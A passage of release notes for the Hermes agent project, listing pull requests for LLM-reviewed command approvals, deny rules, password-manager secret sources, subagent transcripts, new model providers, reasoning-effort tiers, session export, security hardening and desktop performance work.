<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
